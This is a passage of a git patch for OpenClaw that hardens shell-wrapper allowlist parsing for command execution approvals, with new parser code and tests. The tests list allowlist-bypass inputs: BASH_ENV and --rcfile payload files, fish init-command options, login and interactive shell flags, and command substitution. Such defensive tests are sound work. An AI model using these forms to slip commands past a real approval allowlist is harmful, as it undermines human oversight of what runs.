From fc065b2693bfaeff795a88d080ff5cf30fe8addf Mon Sep 17 00:00:00 2001 From: Pavan Kumar Gondhi Date: Fri, 8 May 2026 10:18:41 +0530 Subject: [PATCH 001/174] Harden macOS shell wrapper allowlist parsing [AI] (#78518) * fix: harden shell wrapper allowlist parsing * fix: harden shell wrapper approval binding * docs: add changelog entry for PR merge --------- Co-authored-by: Ishaan --- CHANGELOG.md | 1 + .../OpenClaw/ExecApprovalEvaluation.swift | 3 +- .../OpenClaw/ExecCommandResolution.swift | 27 +- .../OpenClaw/ExecInlineCommandParser.swift | 278 ++++++++++++++++++ .../OpenClaw/ExecShellWrapperParser.swift | 126 +++++++- .../ExecSystemRunCommandValidator.swift | 50 +--- .../OpenClawIPCTests/ExecAllowlistTests.swift | 175 ++++++++++- .../ExecSystemRunCommandValidatorTests.swift | 42 +++ src/infra/command-explainer/extract.ts | 17 +- src/infra/exec-approvals-allow-always.test.ts | 119 +++++--- src/infra/exec-approvals-allowlist.ts | 42 +-- src/infra/exec-wrapper-resolution.test.ts | 6 +- src/infra/exec-wrapper-resolution.ts | 2 + src/infra/exec-wrapper-trust-plan.test.ts | 37 ++- src/infra/exec-wrapper-trust-plan.ts | 13 +- src/infra/shell-inline-command.test.ts | 14 + src/infra/shell-inline-command.ts | 195 +++++++++++- src/infra/shell-wrapper-resolution.ts | 107 ++++++- src/infra/system-run-command.test.ts | 79 ++++- src/infra/system-run-command.ts | 13 +- src/node-host/invoke-system-run-plan.ts | 7 + src/node-host/invoke-system-run.test.ts | 2 +- .../fixtures/system-run-command-contract.json | 49 ++- 23 files changed, 1200 insertions(+), 204 deletions(-) create mode 100644 apps/macos/Sources/OpenClaw/ExecInlineCommandParser.swift diff --git a/CHANGELOG.md b/CHANGELOG.md index 66826cb9dcd..ede73371f3b 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -172,6 +172,7 @@ Docs: https://docs.openclaw.ai ### Fixes +- Harden macOS shell wrapper allowlist parsing [AI]. (#78518) Thanks @pgondhi987. - Gateway/macOS: `openclaw gateway stop` now uses `launchctl bootout` by default instead of unconditionally calling `launchctl disable`, so KeepAlive auto-recovery still works after unexpected crashes; use the new `--disable` flag to opt into the persistent-disable behavior when a manual stop should survive reboots. Fixes #77934. Thanks @bmoran1022. - Gateway/macOS: `repairLaunchAgentBootstrap` no longer kickstarts an already-running LaunchAgent, preventing unnecessary service restarts and session disconnects when repair runs against a healthy gateway. Fixes #77428. Thanks @ramitrkar-hash. - Gateway/macOS: `openclaw gateway stop --disable` now persists the LaunchAgent disable bit even after a previous bootout left the service not loaded, keeping the explicit stay-down path reliable. (#78412) Thanks @wdeveloper16. diff --git a/apps/macos/Sources/OpenClaw/ExecApprovalEvaluation.swift b/apps/macos/Sources/OpenClaw/ExecApprovalEvaluation.swift index e39db84534f..d358082258c 100644 --- a/apps/macos/Sources/OpenClaw/ExecApprovalEvaluation.swift +++ b/apps/macos/Sources/OpenClaw/ExecApprovalEvaluation.swift @@ -43,7 +43,8 @@ enum ExecApprovalEvaluator { let allowAlwaysPatterns = ExecCommandResolution.resolveAllowAlwaysPatterns( command: command, cwd: cwd, - env: env) + env: env, + rawCommand: allowlistRawCommand) let allowlistMatches = security == .allowlist ? ExecAllowlistMatcher.matchAll(entries: approvals.allowlist, resolutions: allowlistResolutions) : [] diff --git a/apps/macos/Sources/OpenClaw/ExecCommandResolution.swift b/apps/macos/Sources/OpenClaw/ExecCommandResolution.swift index dff2d59cfec..df2562aed7b 100644 --- a/apps/macos/Sources/OpenClaw/ExecCommandResolution.swift +++ b/apps/macos/Sources/OpenClaw/ExecCommandResolution.swift @@ -27,7 +27,7 @@ struct ExecCommandResolution { { // Allowlist resolution must follow actual argv execution for wrappers. // `rawCommand` is caller-supplied display text and may be canonicalized. - let shell = ExecShellWrapperParser.extract(command: command, rawCommand: nil) + let shell = ExecShellWrapperParser.extractForAllowlist(command: command, rawCommand: rawCommand) if shell.isWrapper { // Fail closed when env modifiers precede a shell wrapper. This mirrors // system-run binding behavior where such invocations must stay bound to @@ -68,7 +68,8 @@ struct ExecCommandResolution { static func resolveAllowAlwaysPatterns( command: [String], cwd: String?, - env: [String: String]?) -> [String] + env: [String: String]?, + rawCommand: String? = nil) -> [String] { var patterns: [String] = [] var seen = Set() @@ -76,6 +77,7 @@ struct ExecCommandResolution { command: command, cwd: cwd, env: env, + rawCommand: rawCommand, depth: 0, patterns: &patterns, seen: &seen) @@ -152,6 +154,7 @@ struct ExecCommandResolution { command: [String], cwd: String?, env: [String: String]?, + rawCommand: String?, depth: Int, patterns: inout [String], seen: inout Set) @@ -162,13 +165,19 @@ struct ExecCommandResolution { if let token0 = command.first?.trimmingCharacters(in: .whitespacesAndNewlines), ExecCommandToken.basenameLower(token0) == "env", - let envUnwrapped = ExecEnvInvocationUnwrapper.unwrap(command), - !envUnwrapped.isEmpty + let envUnwrapped = ExecEnvInvocationUnwrapper.unwrapWithMetadata(command), + !envUnwrapped.command.isEmpty { + if envUnwrapped.usesModifiers, + self.isAllowlistShellWrapper(command: envUnwrapped.command, rawCommand: rawCommand) + { + return + } self.collectAllowAlwaysPatterns( - command: envUnwrapped, + command: envUnwrapped.command, cwd: cwd, env: env, + rawCommand: rawCommand, depth: depth + 1, patterns: &patterns, seen: &seen) @@ -180,13 +189,14 @@ struct ExecCommandResolution { command: shellMultiplexer, cwd: cwd, env: env, + rawCommand: rawCommand, depth: depth + 1, patterns: &patterns, seen: &seen) return } - let shell = ExecShellWrapperParser.extract(command: command, rawCommand: nil) + let shell = ExecShellWrapperParser.extractForAllowlist(command: command, rawCommand: rawCommand) if shell.isWrapper { guard let shellCommand = shell.command, let segments = self.splitShellCommandChain(shellCommand) @@ -202,6 +212,7 @@ struct ExecCommandResolution { command: tokens, cwd: cwd, env: env, + rawCommand: nil, depth: depth + 1, patterns: &patterns, seen: &seen) @@ -218,6 +229,10 @@ struct ExecCommandResolution { patterns.append(pattern) } + private static func isAllowlistShellWrapper(command: [String], rawCommand: String?) -> Bool { + ExecShellWrapperParser.extractForAllowlist(command: command, rawCommand: rawCommand).isWrapper + } + private static func unwrapShellMultiplexerInvocation(_ argv: [String]) -> [String]? { guard let token0 = argv.first?.trimmingCharacters(in: .whitespacesAndNewlines), !token0.isEmpty else { return nil diff --git a/apps/macos/Sources/OpenClaw/ExecInlineCommandParser.swift b/apps/macos/Sources/OpenClaw/ExecInlineCommandParser.swift new file mode 100644 index 00000000000..a2a0cf15dda --- /dev/null +++ b/apps/macos/Sources/OpenClaw/ExecInlineCommandParser.swift @@ -0,0 +1,278 @@ +import Foundation + +enum ExecInlineCommandParser { + struct Match { + let tokenIndex: Int + let inlineCommand: String? + let valueTokenOffset: Int + + init(tokenIndex: Int, inlineCommand: String?, valueTokenOffset: Int = 1) { + self.tokenIndex = tokenIndex + self.inlineCommand = inlineCommand + self.valueTokenOffset = valueTokenOffset + } + } + + private struct CombinedCommandFlag { + let attachedCommand: String? + let separateValueCount: Int + } + + private static let posixShellOptionsWithSeparateValues = Set([ + "--init-file", + "--rcfile", + "-O", + "-o", + "+O", + "+o", + ]) + + static func hasPosixInteractiveStartupBeforeInlineCommand( + _ argv: [String], + flags: Set) -> Bool + { + var idx = 1 + var sawInteractiveMode = false + while idx < argv.count { + let token = argv[idx].trimmingCharacters(in: .whitespacesAndNewlines) + if token.isEmpty { + idx += 1 + continue + } + if token == "--" { + return false + } + if self.isPosixInteractiveModeOption(token) { + sawInteractiveMode = true + } + if flags.contains(token) || self.isCombinedCommandFlag(token) { + return sawInteractiveMode + } + if !token.hasPrefix("-"), !token.hasPrefix("+") { + return false + } + let combinedValueCount = self.combinedSeparateValueOptionCount(token) + if combinedValueCount > 0 { + idx += 1 + combinedValueCount + continue + } + if self.consumesSeparateValue(token) { + idx += 2 + continue + } + idx += 1 + } + return false + } + + static func hasPosixLoginStartupBeforeInlineCommand( + _ argv: [String], + flags: Set) -> Bool + { + var idx = 1 + var sawLoginMode = false + while idx < argv.count { + let token = argv[idx].trimmingCharacters(in: .whitespacesAndNewlines) + if token.isEmpty { + idx += 1 + continue + } + if token == "--" { + return false + } + if token == "--login" || self.isPosixShortOption(token, containing: "l") { + sawLoginMode = true + } + if flags.contains(token) || self.isCombinedCommandFlag(token) { + return sawLoginMode + } + if !token.hasPrefix("-"), !token.hasPrefix("+") { + return false + } + let combinedValueCount = self.combinedSeparateValueOptionCount(token) + if combinedValueCount > 0 { + idx += 1 + combinedValueCount + continue + } + if self.consumesSeparateValue(token) { + idx += 2 + continue + } + idx += 1 + } + return false + } + + static func hasFishInitCommandOption(_ argv: [String]) -> Bool { + var idx = 1 + while idx < argv.count { + let token = argv[idx].trimmingCharacters(in: .whitespacesAndNewlines) + if token.isEmpty { + idx += 1 + continue + } + if token == "--" { + return false + } + if token == "-C" || token == "--init-command" { + return true + } + if token.hasPrefix("-C"), token != "-C" { + return true + } + if token.hasPrefix("--init-command=") { + return true + } + if !token.hasPrefix("-"), !token.hasPrefix("+") { + return false + } + idx += 1 + } + return false + } + + static func hasFishAttachedCommandOption(_ argv: [String]) -> Bool { + var idx = 1 + while idx < argv.count { + let token = argv[idx].trimmingCharacters(in: .whitespacesAndNewlines) + if token.isEmpty { + idx += 1 + continue + } + if token == "--" { + return false + } + if token.hasPrefix("-c"), token != "-c" { + return true + } + if !token.hasPrefix("-"), !token.hasPrefix("+") { + return false + } + idx += 1 + } + return false + } + + static func findMatch( + _ argv: [String], + flags: Set, + allowCombinedC: Bool) -> Match? + { + var idx = 1 + while idx < argv.count { + let token = argv[idx].trimmingCharacters(in: .whitespacesAndNewlines) + if token.isEmpty { + idx += 1 + continue + } + if token == "--" { + break + } + let comparableToken = allowCombinedC ? token : token.lowercased() + if flags.contains(comparableToken) { + return Match(tokenIndex: idx, inlineCommand: nil) + } + if allowCombinedC, let combined = self.parseCombinedCommandFlag(token) { + if let attachedCommand = combined.attachedCommand { + return Match(tokenIndex: idx, inlineCommand: attachedCommand, valueTokenOffset: 0) + } + return Match( + tokenIndex: idx, + inlineCommand: nil, + valueTokenOffset: 1 + combined.separateValueCount) + } + if allowCombinedC, !token.hasPrefix("-"), !token.hasPrefix("+") { + break + } + let combinedValueCount = allowCombinedC ? self.combinedSeparateValueOptionCount(token) : 0 + if combinedValueCount > 0 { + idx += 1 + combinedValueCount + continue + } + if allowCombinedC, self.consumesSeparateValue(token) { + idx += 2 + continue + } + idx += 1 + } + return nil + } + + static func extractInlineCommand( + _ argv: [String], + flags: Set, + allowCombinedC: Bool) -> String? + { + guard let match = self.findMatch(argv, flags: flags, allowCombinedC: allowCombinedC) else { + return nil + } + if let inlineCommand = match.inlineCommand { + return inlineCommand + } + let nextIndex = match.tokenIndex + match.valueTokenOffset + let payload = nextIndex < argv.count + ? argv[nextIndex].trimmingCharacters(in: .whitespacesAndNewlines) + : "" + return payload.isEmpty ? nil : payload + } + + private static func isCombinedCommandFlag(_ token: String) -> Bool { + self.parseCombinedCommandFlag(token) != nil + } + + private static func parseCombinedCommandFlag(_ token: String) -> CombinedCommandFlag? { + let chars = Array(token) + guard chars.count >= 2, chars[0] == "-", chars[1] != "-" else { + return nil + } + let optionChars = Array(chars.dropFirst()) + guard let commandFlagIndex = optionChars.firstIndex(of: "c") else { + return nil + } + if optionChars.contains("-") { + return nil + } + let suffix = String(optionChars.dropFirst(commandFlagIndex + 1)) + if !suffix.isEmpty, + suffix.range(of: #"[^A-Za-z]"#, options: .regularExpression) != nil + { + return CombinedCommandFlag(attachedCommand: suffix, separateValueCount: 0) + } + let separateValueCount = optionChars.reduce(0) { count, char in + count + ((char == "o" || char == "O") ? 1 : 0) + } + return CombinedCommandFlag(attachedCommand: nil, separateValueCount: separateValueCount) + } + + private static func combinedSeparateValueOptionCount(_ token: String) -> Int { + let chars = Array(token) + guard chars.count >= 2, chars[0] == "-" || chars[0] == "+", chars[1] != "-" else { + return 0 + } + if chars.dropFirst().contains("-") { + return 0 + } + return chars.dropFirst().reduce(0) { count, char in + count + ((char == "o" || char == "O") ? 1 : 0) + } + } + + private static func consumesSeparateValue(_ token: String) -> Bool { + self.posixShellOptionsWithSeparateValues.contains(token) + } + + private static func isPosixInteractiveModeOption(_ token: String) -> Bool { + token == "--interactive" || self.isPosixShortOption(token, containing: "i") + } + + private static func isPosixShortOption(_ token: String, containing option: Character) -> Bool { + let chars = Array(token) + guard chars.count >= 2, chars[0] == "-", chars[1] != "-" else { + return false + } + if chars.dropFirst().contains("-") { + return false + } + return chars.dropFirst().contains(option) + } +} diff --git a/apps/macos/Sources/OpenClaw/ExecShellWrapperParser.swift b/apps/macos/Sources/OpenClaw/ExecShellWrapperParser.swift index 06851a7d065..0533f2fc3d4 100644 --- a/apps/macos/Sources/OpenClaw/ExecShellWrapperParser.swift +++ b/apps/macos/Sources/OpenClaw/ExecShellWrapperParser.swift @@ -6,9 +6,10 @@ enum ExecShellWrapperParser { let command: String? static let notWrapper = ParsedShellWrapper(isWrapper: false, command: nil) + static let blockedWrapper = ParsedShellWrapper(isWrapper: true, command: nil) } - private enum Kind { + private enum Kind: Equatable { case posix case cmd case powershell @@ -27,14 +28,34 @@ enum ExecShellWrapperParser { WrapperSpec(kind: .cmd, names: ["cmd.exe", "cmd"]), WrapperSpec(kind: .powershell, names: ["powershell", "powershell.exe", "pwsh", "pwsh.exe"]), ] + private static let loginStartupShellNames = Set(["ash", "bash", "dash", "fish", "ksh", "sh", "zsh"]) static func extract(command: [String], rawCommand: String?) -> ParsedShellWrapper { let trimmedRaw = rawCommand?.trimmingCharacters(in: .whitespacesAndNewlines) ?? "" let preferredRaw = trimmedRaw.isEmpty ? nil : trimmedRaw - return self.extract(command: command, preferredRaw: preferredRaw, depth: 0) + return self.extract( + command: command, + preferredRaw: preferredRaw, + failClosedOnStartupWrappers: false, + depth: 0) } - private static func extract(command: [String], preferredRaw: String?, depth: Int) -> ParsedShellWrapper { + static func extractForAllowlist(command: [String], rawCommand: String?) -> ParsedShellWrapper { + let trimmedRaw = rawCommand?.trimmingCharacters(in: .whitespacesAndNewlines) ?? "" + let preferredRaw = trimmedRaw.isEmpty ? nil : trimmedRaw + return self.extract( + command: command, + preferredRaw: preferredRaw, + failClosedOnStartupWrappers: true, + depth: 0) + } + + private static func extract( + command: [String], + preferredRaw: String?, + failClosedOnStartupWrappers: Bool, + depth: Int) -> ParsedShellWrapper + { guard depth < ExecEnvInvocationUnwrapper.maxWrapperDepth else { return .notWrapper } @@ -47,19 +68,96 @@ enum ExecShellWrapperParser { guard let unwrapped = ExecEnvInvocationUnwrapper.unwrap(command) else { return .notWrapper } - return self.extract(command: unwrapped, preferredRaw: preferredRaw, depth: depth + 1) + return self.extract( + command: unwrapped, + preferredRaw: preferredRaw, + failClosedOnStartupWrappers: failClosedOnStartupWrappers, + depth: depth + 1) } guard let spec = self.wrapperSpecs.first(where: { $0.names.contains(base0) }) else { return .notWrapper } + if spec.kind == .posix, + base0 == "fish", + ExecInlineCommandParser.hasFishAttachedCommandOption(command) + { + return .blockedWrapper + } + let includeLegacyLoginInlineForm = failClosedOnStartupWrappers && + !self.legacyLoginInlinePayloadMatchesRaw( + command: command, + spec: spec, + base0: base0, + preferredRaw: preferredRaw) + if self.startupWrapperRequiresFullArgv( + command: command, + spec: spec, + base0: base0, + includeLegacyLoginInlineForm: includeLegacyLoginInlineForm) + { + return .blockedWrapper + } guard let payload = self.extractPayload(command: command, spec: spec) else { return .notWrapper } - let normalized = preferredRaw ?? payload + let normalized = failClosedOnStartupWrappers ? payload : preferredRaw ?? payload return ParsedShellWrapper(isWrapper: true, command: normalized) } + private static func startupWrapperRequiresFullArgv( + command: [String], + spec: WrapperSpec, + base0: String, + includeLegacyLoginInlineForm: Bool) -> Bool + { + guard spec.kind == .posix else { + return false + } + if base0 == "fish", + ExecInlineCommandParser.hasFishInitCommandOption(command) + { + return true + } + if self.loginStartupShellNames.contains(base0), + ExecInlineCommandParser.hasPosixLoginStartupBeforeInlineCommand( + command, + flags: self.posixInlineFlags) + { + return includeLegacyLoginInlineForm || !self.isLegacyShLoginInlineForm(command, base0: base0) + } + return ExecInlineCommandParser.hasPosixInteractiveStartupBeforeInlineCommand( + command, + flags: self.posixInlineFlags) + } + + private static func isLegacyLoginInlineForm(_ command: [String]) -> Bool { + guard command.count > 1 else { + return false + } + return command[1].trimmingCharacters(in: .whitespacesAndNewlines) == "-lc" + } + + private static func isLegacyShLoginInlineForm(_ command: [String], base0: String) -> Bool { + base0 == "sh" && self.isLegacyLoginInlineForm(command) + } + + private static func legacyLoginInlinePayloadMatchesRaw( + command: [String], + spec: WrapperSpec, + base0: String, + preferredRaw: String?) -> Bool + { + guard let preferredRaw, + base0 == "sh", + self.isLegacyLoginInlineForm(command), + let payload = self.extractPayload(command: command, spec: spec) + else { + return false + } + return payload == preferredRaw.trimmingCharacters(in: .whitespacesAndNewlines) + } + private static func extractPayload(command: [String], spec: WrapperSpec) -> String? { switch spec.kind { case .posix: @@ -72,12 +170,10 @@ enum ExecShellWrapperParser { } private static func extractPosixInlineCommand(_ command: [String]) -> String? { - let flag = command.count > 1 ? command[1].trimmingCharacters(in: .whitespacesAndNewlines) : "" - guard self.posixInlineFlags.contains(flag.lowercased()) else { - return nil - } - let payload = command.count > 2 ? command[2].trimmingCharacters(in: .whitespacesAndNewlines) : "" - return payload.isEmpty ? nil : payload + ExecInlineCommandParser.extractInlineCommand( + command, + flags: self.posixInlineFlags, + allowCombinedC: true) } private static func extractCmdInlineCommand(_ command: [String]) -> String? { @@ -97,10 +193,10 @@ enum ExecShellWrapperParser { if token.isEmpty { continue } if token == "--" { break } if self.powershellInlineFlags.contains(token) { - let payload = idx + 1 < command.count - ? command[idx + 1].trimmingCharacters(in: .whitespacesAndNewlines) - : "" - return payload.isEmpty ? nil : payload + return ExecInlineCommandParser.extractInlineCommand( + command, + flags: self.powershellInlineFlags, + allowCombinedC: false) } } return nil diff --git a/apps/macos/Sources/OpenClaw/ExecSystemRunCommandValidator.swift b/apps/macos/Sources/OpenClaw/ExecSystemRunCommandValidator.swift index f10880d698e..177a6bed515 100644 --- a/apps/macos/Sources/OpenClaw/ExecSystemRunCommandValidator.swift +++ b/apps/macos/Sources/OpenClaw/ExecSystemRunCommandValidator.swift @@ -326,40 +326,12 @@ enum ExecSystemRunCommandValidator { return current } - private struct InlineCommandTokenMatch { - var tokenIndex: Int - var inlineCommand: String? - } - private static func findInlineCommandTokenMatch( _ argv: [String], flags: Set, - allowCombinedC: Bool) -> InlineCommandTokenMatch? + allowCombinedC: Bool) -> ExecInlineCommandParser.Match? { - var idx = 1 - while idx < argv.count { - let token = argv[idx].trimmingCharacters(in: .whitespacesAndNewlines) - if token.isEmpty { - idx += 1 - continue - } - let lower = token.lowercased() - if lower == "--" { - break - } - if flags.contains(lower) { - return InlineCommandTokenMatch(tokenIndex: idx, inlineCommand: nil) - } - if allowCombinedC, let inlineOffset = self.combinedCommandInlineOffset(token) { - let inline = String(token.dropFirst(inlineOffset)) - .trimmingCharacters(in: .whitespacesAndNewlines) - return InlineCommandTokenMatch( - tokenIndex: idx, - inlineCommand: inline.isEmpty ? nil : inline) - } - idx += 1 - } - return nil + ExecInlineCommandParser.findMatch(argv, flags: flags, allowCombinedC: allowCombinedC) } private static func resolveInlineCommandTokenIndex( @@ -373,24 +345,10 @@ enum ExecSystemRunCommandValidator { if match.inlineCommand != nil { return match.tokenIndex } - let nextIndex = match.tokenIndex + 1 + let nextIndex = match.tokenIndex + match.valueTokenOffset return nextIndex < argv.count ? nextIndex : nil } - private static func combinedCommandInlineOffset(_ token: String) -> Int? { - let chars = Array(token.lowercased()) - guard chars.count >= 2, chars[0] == "-", chars[1] != "-" else { - return nil - } - if chars.dropFirst().contains("-") { - return nil - } - guard let commandIndex = chars.firstIndex(of: "c"), commandIndex > 0 else { - return nil - } - return commandIndex + 1 - } - private static func extractShellInlinePayload( _ argv: [String], normalizedWrapper: String) -> String? @@ -421,7 +379,7 @@ enum ExecSystemRunCommandValidator { if let inlineCommand = match.inlineCommand { return inlineCommand } - let nextIndex = match.tokenIndex + 1 + let nextIndex = match.tokenIndex + match.valueTokenOffset return self.trimmedNonEmpty(nextIndex < argv.count ? argv[nextIndex] : nil) } diff --git a/apps/macos/Tests/OpenClawIPCTests/ExecAllowlistTests.swift b/apps/macos/Tests/OpenClawIPCTests/ExecAllowlistTests.swift index b2742234590..2fbfddda1d9 100644 --- a/apps/macos/Tests/OpenClawIPCTests/ExecAllowlistTests.swift +++ b/apps/macos/Tests/OpenClawIPCTests/ExecAllowlistTests.swift @@ -111,7 +111,7 @@ struct ExecAllowlistTests { } @Test func `resolve for allowlist splits shell chains`() { - let command = ["/bin/sh", "-lc", "echo allowlisted && /usr/bin/touch /tmp/openclaw-allowlist-test"] + let command = ["/bin/sh", "-c", "echo allowlisted && /usr/bin/touch /tmp/openclaw-allowlist-test"] let resolutions = ExecCommandResolution.resolveForAllowlist( command: command, rawCommand: "echo allowlisted && /usr/bin/touch /tmp/openclaw-allowlist-test", @@ -122,9 +122,109 @@ struct ExecAllowlistTests { #expect(resolutions[1].executableName == "touch") } + @Test func `resolve for allowlist splits posix combined c flag payloads`() { + for command in [ + ["/bin/bash", "-xc", "/usr/bin/printf safe_marker"], + ["/bin/bash", "-ec", "/usr/bin/printf safe_marker"], + ["/bin/bash", "-euxc", "/usr/bin/printf safe_marker"], + ["/bin/bash", "-cx", "/usr/bin/printf safe_marker"], + ["/bin/bash", "-O", "extglob", "-xc", "/usr/bin/printf safe_marker"], + ["/bin/bash", "-co", "vi", "/usr/bin/printf safe_marker"], + ["/bin/bash", "-oc", "vi", "/usr/bin/printf safe_marker"], + ["/bin/bash", "-cO", "extglob", "/usr/bin/printf safe_marker"], + ["/bin/bash", "-xo", "vi", "-c", "/usr/bin/printf safe_marker"], + ["/bin/bash", "-xO", "extglob", "-c", "/usr/bin/printf safe_marker"], + ["/bin/bash", "+xo", "vi", "-c", "/usr/bin/printf safe_marker"], + ["/bin/bash", "--rcfile", "/tmp/rc", "-c", "/usr/bin/printf safe_marker"], + ["/bin/bash", "--init-file=/tmp/rc", "-c", "/usr/bin/printf safe_marker"], + ] { + let resolutions = ExecCommandResolution.resolveForAllowlist( + command: command, + rawCommand: nil, + cwd: nil, + env: ["PATH": "/usr/bin:/bin"]) + #expect(resolutions.count == 1) + #expect(resolutions[0].resolvedPath == "/usr/bin/printf") + #expect(resolutions[0].executableName == "printf") + } + } + + @Test func `resolve for allowlist treats c after posix shell operand as direct exec`() { + for command in [ + ["/bin/bash", "./script.sh", "-c", "/usr/bin/printf safe_marker"], + ["/bin/bash", "-x", "-C", "echo ok", "-c", "/usr/bin/printf safe_marker"], + ] { + let resolutions = ExecCommandResolution.resolveForAllowlist( + command: command, + rawCommand: nil, + cwd: "/tmp", + env: ["PATH": "/usr/bin:/bin"]) + #expect(resolutions.count == 1) + #expect(resolutions[0].resolvedPath == "/bin/bash") + #expect(resolutions[0].executableName == "bash") + } + } + + @Test func `resolve for allowlist fails closed for interactive posix shell wrappers`() { + for command in [ + ["/bin/bash", "-i", "-c", "/usr/bin/printf safe_marker"], + ["/bin/bash", "-ic", "/usr/bin/printf safe_marker"], + ["/bin/bash", "--rcfile", "/tmp/payload.sh", "-i", "-c", "/usr/bin/printf safe_marker"], + ["/usr/bin/fish", "--interactive", "-c", "/usr/bin/printf safe_marker"], + ] { + let resolutions = ExecCommandResolution.resolveForAllowlist( + command: command, + rawCommand: nil, + cwd: nil, + env: ["PATH": "/usr/bin:/bin"]) + #expect(resolutions.isEmpty) + } + } + + @Test func `resolve for allowlist fails closed for login shell wrappers`() { + for command in [ + ["/bin/bash", "-l", "-c", "/usr/bin/printf safe_marker"], + ["/bin/bash", "--login", "-c", "/usr/bin/printf safe_marker"], + ["/bin/bash", "-xlc", "/usr/bin/printf safe_marker"], + ["/bin/dash", "-lc", "/usr/bin/printf safe_marker"], + ["ash", "-lc", "/usr/bin/printf safe_marker"], + ["/usr/bin/fish", "-l", "-c", "/usr/bin/printf safe_marker"], + ["/usr/bin/fish", "--login", "-c", "/usr/bin/printf safe_marker"], + ["/bin/sh", "-lc", "/usr/bin/printf safe_marker"], + ["/bin/sh", "-x", "-lc", "/usr/bin/printf safe_marker"], + ["/usr/bin/env", "/bin/sh", "-lc", "/usr/bin/printf safe_marker"], + ] { + let resolutions = ExecCommandResolution.resolveForAllowlist( + command: command, + rawCommand: nil, + cwd: nil, + env: ["PATH": "/usr/bin:/bin"]) + #expect(resolutions.isEmpty) + } + } + + @Test func `resolve for allowlist fails closed for fish init command wrappers`() { + for command in [ + ["/usr/bin/fish", "--init-command=/tmp/payload.fish", "-c", "/usr/bin/printf safe_marker"], + ["/usr/bin/fish", "--init-command", "/tmp/payload.fish", "-c", "/usr/bin/printf safe_marker"], + ["/usr/bin/fish", "-C", "/tmp/payload.fish", "-c", "/usr/bin/printf safe_marker"], + ["/usr/bin/fish", "-C/tmp/payload.fish", "-c", "/usr/bin/printf safe_marker"], + ["/usr/bin/fish", "--init-command", "-c; /tmp/payload.fish", "/usr/bin/printf safe_marker"], + ["/usr/bin/fish", "-C", "-c", "/usr/bin/printf safe_marker"], + ["/usr/bin/fish", "-c/tmp/payload.fish", "/usr/bin/printf safe_marker"], + ] { + let resolutions = ExecCommandResolution.resolveForAllowlist( + command: command, + rawCommand: nil, + cwd: nil, + env: ["PATH": "/usr/bin:/bin"]) + #expect(resolutions.isEmpty) + } + } + @Test func `resolve for allowlist uses wrapper argv payload even with canonical raw command`() { - let command = ["/bin/sh", "-lc", "echo allowlisted && /usr/bin/touch /tmp/openclaw-allowlist-test"] - let canonicalRaw = "/bin/sh -lc \"echo allowlisted && /usr/bin/touch /tmp/openclaw-allowlist-test\"" + let command = ["/bin/sh", "-c", "echo allowlisted && /usr/bin/touch /tmp/openclaw-allowlist-test"] + let canonicalRaw = "/bin/sh -c \"echo allowlisted && /usr/bin/touch /tmp/openclaw-allowlist-test\"" let resolutions = ExecCommandResolution.resolveForAllowlist( command: command, rawCommand: canonicalRaw, @@ -135,6 +235,25 @@ struct ExecAllowlistTests { #expect(resolutions[1].executableName == "touch") } + @Test func `resolve for allowlist preserves generated sh lc raw payload binding`() { + let command = ["/bin/sh", "-lc", "/usr/bin/printf safe_marker"] + let resolutions = ExecCommandResolution.resolveForAllowlist( + command: command, + rawCommand: "/usr/bin/printf safe_marker", + cwd: nil, + env: ["PATH": "/usr/bin:/bin"]) + #expect(resolutions.count == 1) + #expect(resolutions[0].resolvedPath == "/usr/bin/printf") + #expect(resolutions[0].executableName == "printf") + + let rawlessResolutions = ExecCommandResolution.resolveForAllowlist( + command: command, + rawCommand: nil, + cwd: nil, + env: ["PATH": "/usr/bin:/bin"]) + #expect(rawlessResolutions.isEmpty) + } + @Test func `resolve for allowlist fails closed for env modified shell wrappers`() { let command = ["/usr/bin/env", "BASH_ENV=/tmp/payload.sh", "bash", "-lc", "echo allowlisted"] let canonicalRaw = "/usr/bin/env BASH_ENV=/tmp/payload.sh bash -lc \"echo allowlisted\"" @@ -158,7 +277,7 @@ struct ExecAllowlistTests { } @Test func `resolve for allowlist keeps quoted operators in single segment`() { - let command = ["/bin/sh", "-lc", "echo \"a && b\""] + let command = ["/bin/sh", "-c", "echo \"a && b\""] let resolutions = ExecCommandResolution.resolveForAllowlist( command: command, rawCommand: "echo \"a && b\"", @@ -169,7 +288,7 @@ struct ExecAllowlistTests { } @Test func `resolve for allowlist fails closed on command substitution`() { - let command = ["/bin/sh", "-lc", "echo $(/usr/bin/touch /tmp/openclaw-allowlist-test-subst)"] + let command = ["/bin/sh", "-c", "echo $(/usr/bin/touch /tmp/openclaw-allowlist-test-subst)"] let resolutions = ExecCommandResolution.resolveForAllowlist( command: command, rawCommand: "echo $(/usr/bin/touch /tmp/openclaw-allowlist-test-subst)", @@ -179,7 +298,7 @@ struct ExecAllowlistTests { } @Test func `resolve for allowlist fails closed on quoted command substitution`() { - let command = ["/bin/sh", "-lc", "echo \"ok $(/usr/bin/touch /tmp/openclaw-allowlist-test-quoted-subst)\""] + let command = ["/bin/sh", "-c", "echo \"ok $(/usr/bin/touch /tmp/openclaw-allowlist-test-quoted-subst)\""] let resolutions = ExecCommandResolution.resolveForAllowlist( command: command, rawCommand: "echo \"ok $(/usr/bin/touch /tmp/openclaw-allowlist-test-quoted-subst)\"", @@ -189,7 +308,7 @@ struct ExecAllowlistTests { } @Test func `resolve for allowlist fails closed on line-continued command substitution`() { - let command = ["/bin/sh", "-lc", "echo $\\\n(/usr/bin/touch /tmp/openclaw-allowlist-test-line-cont-subst)"] + let command = ["/bin/sh", "-c", "echo $\\\n(/usr/bin/touch /tmp/openclaw-allowlist-test-line-cont-subst)"] let resolutions = ExecCommandResolution.resolveForAllowlist( command: command, rawCommand: "echo $\\\n(/usr/bin/touch /tmp/openclaw-allowlist-test-line-cont-subst)", @@ -201,7 +320,7 @@ struct ExecAllowlistTests { @Test func `resolve for allowlist fails closed on chained line-continued command substitution`() { let command = [ "/bin/sh", - "-lc", + "-c", "echo ok && $\\\n(/usr/bin/touch /tmp/openclaw-allowlist-test-chained-line-cont-subst)", ] let resolutions = ExecCommandResolution.resolveForAllowlist( @@ -213,7 +332,7 @@ struct ExecAllowlistTests { } @Test func `resolve for allowlist fails closed on quoted backticks`() { - let command = ["/bin/sh", "-lc", "echo \"ok `/usr/bin/id`\""] + let command = ["/bin/sh", "-c", "echo \"ok `/usr/bin/id`\""] let resolutions = ExecCommandResolution.resolveForAllowlist( command: command, rawCommand: "echo \"ok `/usr/bin/id`\"", @@ -226,7 +345,7 @@ struct ExecAllowlistTests { let fixtures = try Self.loadShellParserParityCases() for fixture in fixtures { let resolutions = 